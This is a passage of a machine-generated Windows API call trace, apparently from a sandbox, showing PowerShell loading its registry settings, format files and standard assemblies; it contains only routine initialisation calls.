lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.999] CoTaskMemFree (pv=0x1b759550) [0084.000] RegCloseKey (hKey=0x32c) returned 0x0 [0084.004] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x8bb143fe, Data2=0x8513, Data3=0x4821, Data4=([0]=0x9d, [1]=0xa1, [2]=0x14, [3]=0xf1, [4]=0x34, [5]=0x60, [6]=0xa, [7]=0x5e))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x99a66629, Data2=0x7fb8, Data3=0x4ac8, Data4=([0]=0xa1, [1]=0x80, [2]=0xca, [3]=0xbf, [4]=0xd0, [5]=0x32, [6]=0x17, [7]=0x56))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4cf9b890, Data2=0x2f98, Data3=0x480d, Data4=([0]=0x83, [1]=0x13, [2]=0xdd, [3]=0xa1, [4]=0x69, [5]=0x99, [6]=0x27, [7]=0xea))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x560cf8b9, Data2=0xc6, Data3=0x411e, Data4=([0]=0xb9, [1]=0xa, [2]=0xb2, [3]=0x0, [4]=0x69, [5]=0xa1, [6]=0x54, [7]=0x45))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4e2ad45d, Data2=0xab27, Data3=0x4b55, Data4=([0]=0x8a, [1]=0xac, [2]=0x69, [3]=0xb8, [4]=0x80, [5]=0xaf, [6]=0xff, [7]=0x29))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1731abfd, Data2=0x273, Data3=0x405c, Data4=([0]=0x96, [1]=0x4f, [2]=0xa5, [3]=0xef, [4]=0xb0, [5]=0xff, [6]=0x16, [7]=0xc2))) returned 0x0 [0084.005] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf2e1e28d, Data2=0x1b50, Data3=0x4ca6, Data4=([0]=0x82, [1]=0xa4, [2]=0x45, [3]=0x13, [4]=0x5f, [5]=0xd0, [6]=0xa4, [7]=0xd2))) returned 0x0 [0084.006] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x329e6d0, Data2=0x9eaa, Data3=0x4624, Data4=([0]=0x9a, [1]=0x3a, [2]=0x2, [3]=0x2, [4]=0x35, [5]=0x33, [6]=0x62, [7]=0xbb))) returned 0x0 [0084.006] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x7102ef6e, Data2=0x6473, Data3=0x4b11, Data4=([0]=0xad, [1]=0xe, [2]=0x13, [3]=0x89, [4]=0xcc, [5]=0xfd, [6]=0xbe, [7]=0x7b))) returned 0x0 [0084.006] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x11418bf7, Data2=0x442a, Data3=0x4279, Data4=([0]=0xb6, [1]=0xee, [2]=0x8, [3]=0x9e, [4]=0x7f, [5]=0x1, [6]=0x78, [7]=0xdc))) returned 0x0 [0084.006] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xbc12922, Data2=0x360a, Data3=0x4947, Data4=([0]=0x94, [1]=0x3d, [2]=0x1f, [3]=0x8a, [4]=0xce, [5]=0x3e, [6]=0xc6, [7]=0xec))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf323710c, Data2=0xf69b, Data3=0x432b, Data4=([0]=0xa9, [1]=0x1c, [2]=0xd9, [3]=0x64, [4]=0x5e, [5]=0x33, [6]=0x34, [7]=0xc2))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xe4f047c2, Data2=0xdff2, Data3=0x41a6, Data4=([0]=0xa4, [1]=0x69, [2]=0xfa, [3]=0x47, [4]=0x5e, [5]=0x13, [6]=0x79, [7]=0x1c))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xd60f6373, Data2=0x1b71, Data3=0x4c96, Data4=([0]=0x81, [1]=0xab, [2]=0x17, [3]=0xe9, [4]=0x19, [5]=0x75, [6]=0xec, [7]=0x66))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb9b79392, Data2=0x15ba, Data3=0x4a01, Data4=([0]=0xa5, [1]=0x45, [2]=0xe1, [3]=0x10, [4]=0x54, [5]=0x31, [6]=0x6c, [7]=0x24))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4dffd08b, Data2=0x821, Data3=0x49b2, Data4=([0]=0xad, [1]=0xd, [2]=0x4b, [3]=0xea, [4]=0x6d, [5]=0x4b, [6]=0x8c, [7]=0xfc))) returned 0x0 [0084.007] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb3f01e69, Data2=0xfe7, Data3=0x49eb, Data4=([0]=0xa9, [1]=0xd5, [2]=0x47, [3]=0xf4, [4]=0x8a, [5]=0xd7, [6]=0xf7, [7]=0x94))) returned 0x0 [0084.008] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x201f60c8, Data2=0x1242, Data3=0x43c6, Data4=([0]=0x8a, [1]=0xa5, [2]=0x96, [3]=0x9b, [4]=0x21, [5]=0x5e, [6]=0x60, [7]=0x1b))) returned 0x0 [0084.008] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x3f6e9929, Data2=0x2151, Data3=0x4abe, Data4=([0]=0x91, [1]=0x34, [2]=0x45, [3]=0x65, [4]=0x4e, [5]=0x6d, [6]=0x3a, [7]=0xb1))) returned 0x0 [0084.009] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x20ae8a19, Data2=0x9b16, Data3=0x4d22, Data4=([0]=0xa9, [1]=0x6f, [2]=0xe4, [3]=0xcf, [4]=0xd8, [5]=0xd5, [6]=0xaa, [7]=0x9e))) returned 0x0 [0084.009] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x5250540e, Data2=0xdbbc, Data3=0x4dbf, Data4=([0]=0x99, [1]=0x52, [2]=0x4e, [3]=0x6e, [4]=0x44, [5]=0x33, [6]=0xa9, [7]=0x2b))) returned 0x0 [0084.009] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x67242681, Data2=0x2e9c, Data3=0x4915, Data4=([0]=0x8d, [1]=0xdc, [2]=0xa0, [3]=0xff, [4]=0xc5, [5]=0x1f, [6]=0x3e, [7]=0xac))) returned 0x0 [0084.009] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x390b8e7b, Data2=0x7239, Data3=0x43b5, Data4=([0]=0x9f, [1]=0x6a, [2]=0xb1, [3]=0x57, [4]=0x1b, [5]=0x92, [6]=0x1f, [7]=0x1d))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xe1ec4a75, Data2=0x12c7, Data3=0x4efe, Data4=([0]=0xa6, [1]=0x5e, [2]=0x7e, [3]=0x9c, [4]=0x7e, [5]=0xf0, [6]=0x55, [7]=0x2f))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x90f36279, Data2=0x696c, Data3=0x4f68, Data4=([0]=0x8e, [1]=0x70, [2]=0x31, [3]=0x44, [4]=0x48, [5]=0x3a, [6]=0x2f, [7]=0xe3))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x6d7c7925, Data2=0x714d, Data3=0x4f1e, Data4=([0]=0x9e, [1]=0xa2, [2]=0x4e, [3]=0x4f, [4]=0x28, [5]=0xce, [6]=0x0, [7]=0xa8))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xeb9e16c8, Data2=0xcc0b, Data3=0x4b52, Data4=([0]=0x8b, [1]=0x8f, [2]=0x11, [3]=0x2e, [4]=0x42, [5]=0xcf, [6]=0xbe, [7]=0xc1))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc746daa2, Data2=0x1c57, Data3=0x49c8, Data4=([0]=0xbb, [1]=0x7d, [2]=0xdf, [3]=0x95, [4]=0x65, [5]=0x48, [6]=0x90, [7]=0xb6))) returned 0x0 [0084.010] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xff3d096f, Data2=0x6b51, Data3=0x421b, Data4=([0]=0x95, [1]=0x15, [2]=0x81, [3]=0x4, [4]=0x3a, [5]=0x87, [6]=0x77, [7]=0x63))) returned 0x0 [0084.011] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x171ce7a0, Data2=0xc4e, Data3=0x4237, Data4=([0]=0xac, [1]=0x7d, [2]=0x2b, [3]=0xe2, [4]=0xad, [5]=0xff, [6]=0x47, [7]=0xc6))) returned 0x0 [0084.011] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x2cf5ebbd, Data2=0x5374, Data3=0x482c, Data4=([0]=0xb3, [1]=0x3d, [2]=0x64, [3]=0x8, [4]=0x51, [5]=0xb9, [6]=0x24, [7]=0xcb))) returned 0x0 [0084.011] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9a39361f, Data2=0xe892, Data3=0x4687, Data4=([0]=0x8d, [1]=0x46, [2]=0xe, [3]=0xe6, [4]=0x9f, [5]=0x90, [6]=0xb3, [7]=0x8f))) returned 0x0 [0084.011] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1b749028, Data2=0xf847, Data3=0x4045, Data4=([0]=0x95, [1]=0x4f, [2]=0x87, [3]=0xf0, [4]=0xde, [5]=0xb2, [6]=0x16, [7]=0xcd))) returned 0x0 [0084.017] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4d67feb7, Data2=0xe065, Data3=0x4669, Data4=([0]=0xaf, [1]=0xfc, [2]=0xde, [3]=0x1e, [4]=0x54, [5]=0xd, [6]=0x65, [7]=0xc3))) returned 0x0 [0084.017] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x3a10359, Data2=0xc9fb, Data3=0x457f, Data4=([0]=0x94, [1]=0x4e, [2]=0x3d, [3]=0xe0, [4]=0x26, [5]=0x65, [6]=0x81, [7]=0x8a))) returned 0x0 [0084.017] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x973b9d8b, Data2=0xba39, Data3=0x46ae, Data4=([0]=0x8f, [1]=0x5f, [2]=0xc5, [3]=0x9f, [4]=0xd0, [5]=0xd3, [6]=0xd5, [7]=0x46))) returned 0x0 [0084.017] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xdaf36660, Data2=0x56ff, Data3=0x48c1, Data4=([0]=0x8b, [1]=0xe3, [2]=0x46, [3]=0x9e, [4]=0xed, [5]=0x12, [6]=0xc9, [7]=0x10))) returned 0x0 [0084.018] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x83761885, Data2=0x9718, Data3=0x42cc, Data4=([0]=0x86, [1]=0x5a, [2]=0xd4, [3]=0xee, [4]=0x1a, [5]=0x8a, [6]=0x74, [7]=0xdc))) returned 0x0 [0084.018] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x47da4683, Data2=0x3986, Data3=0x4d18, Data4=([0]=0x9e, [1]=0xc2, [2]=0xd, [3]=0xb5, [4]=0x50, [5]=0x5e, [6]=0xa7, [7]=0x14))) returned 0x0 [0084.018] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x74d0f286, Data2=0xbe1f, Data3=0x435f, Data4=([0]=0xa7, [1]=0x8d, [2]=0x9c, [3]=0x87, [4]=0x78, [5]=0x3b, [6]=0x36, [7]=0x82))) returned 0x0 [0084.018] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x78233210, Data2=0xd7c4, Data3=0x45d9, Data4=([0]=0x8b, [1]=0x8a, [2]=0xb8, [3]=0x6, [4]=0x6, [5]=0x86, [6]=0xb9, [7]=0xd4))) returned 0x0 [0084.019] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb6263721, Data2=0x45b8, Data3=0x492d, Data4=([0]=0x8f, [1]=0x72, [2]=0xeb, [3]=0xf8, [4]=0xd4, [5]=0x3f, [6]=0x94, [7]=0xe7))) returned 0x0 [0084.019] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x46ee3972, Data2=0x52f3, Data3=0x4218, Data4=([0]=0x9b, [1]=0x13, [2]=0xac, [3]=0xa, [4]=0xd9, [5]=0x92, [6]=0xea, [7]=0x16))) returned 0x0 [0084.020] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf94f971c, Data2=0x8fa8, Data3=0x4d39, Data4=([0]=0x98, [1]=0x80, [2]=0xdc, [3]=0x59, [4]=0x5a, [5]=0x2f, [6]=0xa9, [7]=0x59))) returned 0x0 [0084.020] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc48c572f, Data2=0xae29, Data3=0x4407, Data4=([0]=0xb5, [1]=0x30, [2]=0x47, [3]=0x8c, [4]=0x6e, [5]=0xb7, [6]=0x1f, [7]=0x29))) returned 0x0 [0084.020] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf427f8b3, Data2=0x8a74, Data3=0x4f58, Data4=([0]=0xbc, [1]=0xe, [2]=0xf0, [3]=0x37, [4]=0xc8, [5]=0x33, [6]=0x86, [7]=0xb1))) returned 0x0 [0084.020] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x70f03661, Data2=0x3000, Data3=0x4079, Data4=([0]=0x9e, [1]=0xab, [2]=0xd3, [3]=0x9e, [4]=0xeb, [5]=0x63, [6]=0x85, [7]=0xa4))) returned 0x0 [0084.020] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf8aaf818, Data2=0xf65, Data3=0x4e99, Data4=([0]=0x8e, [1]=0xad, [2]=0x30, [3]=0xb, [4]=0x5a, [5]=0xdf, [6]=0xd1, [7]=0xf6))) returned 0x0 [0084.021] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0084.022] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.025] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.025] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.025] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.026] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x8b4, lpOverlapped=0x0) returned 1 [0084.026] ReadFile (in: hFile=0x32c, lpBuffer=0x3b7fa34, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b7fa34*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0084.026] ReadFile (in: hFile=0x32c, lpBuffer=0x3b80618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3b80618*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0084.026] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x32c) returned 0x0 [0084.027] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0084.027] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0084.027] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b759550, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0084.027] CoTaskMemFree (pv=0x1b759550) [0084.027] RegCloseKey (hKey=0x32c) returned 0x0 [0084.028] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9d599c5c, Data2=0x39d0, Data3=0x4843, Data4=([0]=0x93, [1]=0x52, [2]=0xb5, [3]=0x89, [4]=0xa5, [5]=0x6d, [6]=0x3c, [7]=0x93))) returned 0x0 [0084.028] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xbc1dec76, Data2=0x419e, Data3=0x45f7, Data4=([0]=0xa1, [1]=0x68, [2]=0xc6, [3]=0xbe, [4]=0xf5, [5]=0xa4, [6]=0x48, [7]=0x5f))) returned 0x0 [0084.028] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0084.029] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.032] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.032] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.032] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0084.033] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0xe98, lpOverlapped=0x0) returned 1 [0084.033] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbda00, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbda00*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0084.033] ReadFile (in: hFile=0x32c, lpBuffer=0x3bbe400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3bbe400*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0084.033] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x32c) returned 0x0 [0084.034] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0084.034] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0084.034] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b759550, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0084.034] CoTaskMemFree (pv=0x1b759550) [0084.034] RegCloseKey (hKey=0x32c) returned 0x0 [0084.035] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1b3e2717, Data2=0xf4de, Data3=0x4d06, Data4=([0]=0x90, [1]=0x54, [2]=0xde, [3]=0x29, [4]=0x60, [5]=0x4a, [6]=0xdd, [7]=0xe9))) returned 0x0 [0084.036] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xea598b41, Data2=0xddfb, Data3=0x4c68, Data4=([0]=0x84, [1]=0x74, [2]=0x8c, [3]=0xe0, [4]=0x9b, [5]=0x97, [6]=0xc3, [7]=0x31))) returned 0x0 [0084.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0084.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0084.058] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0084.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0084.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0084.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0084.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.121] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0084.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0084.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", 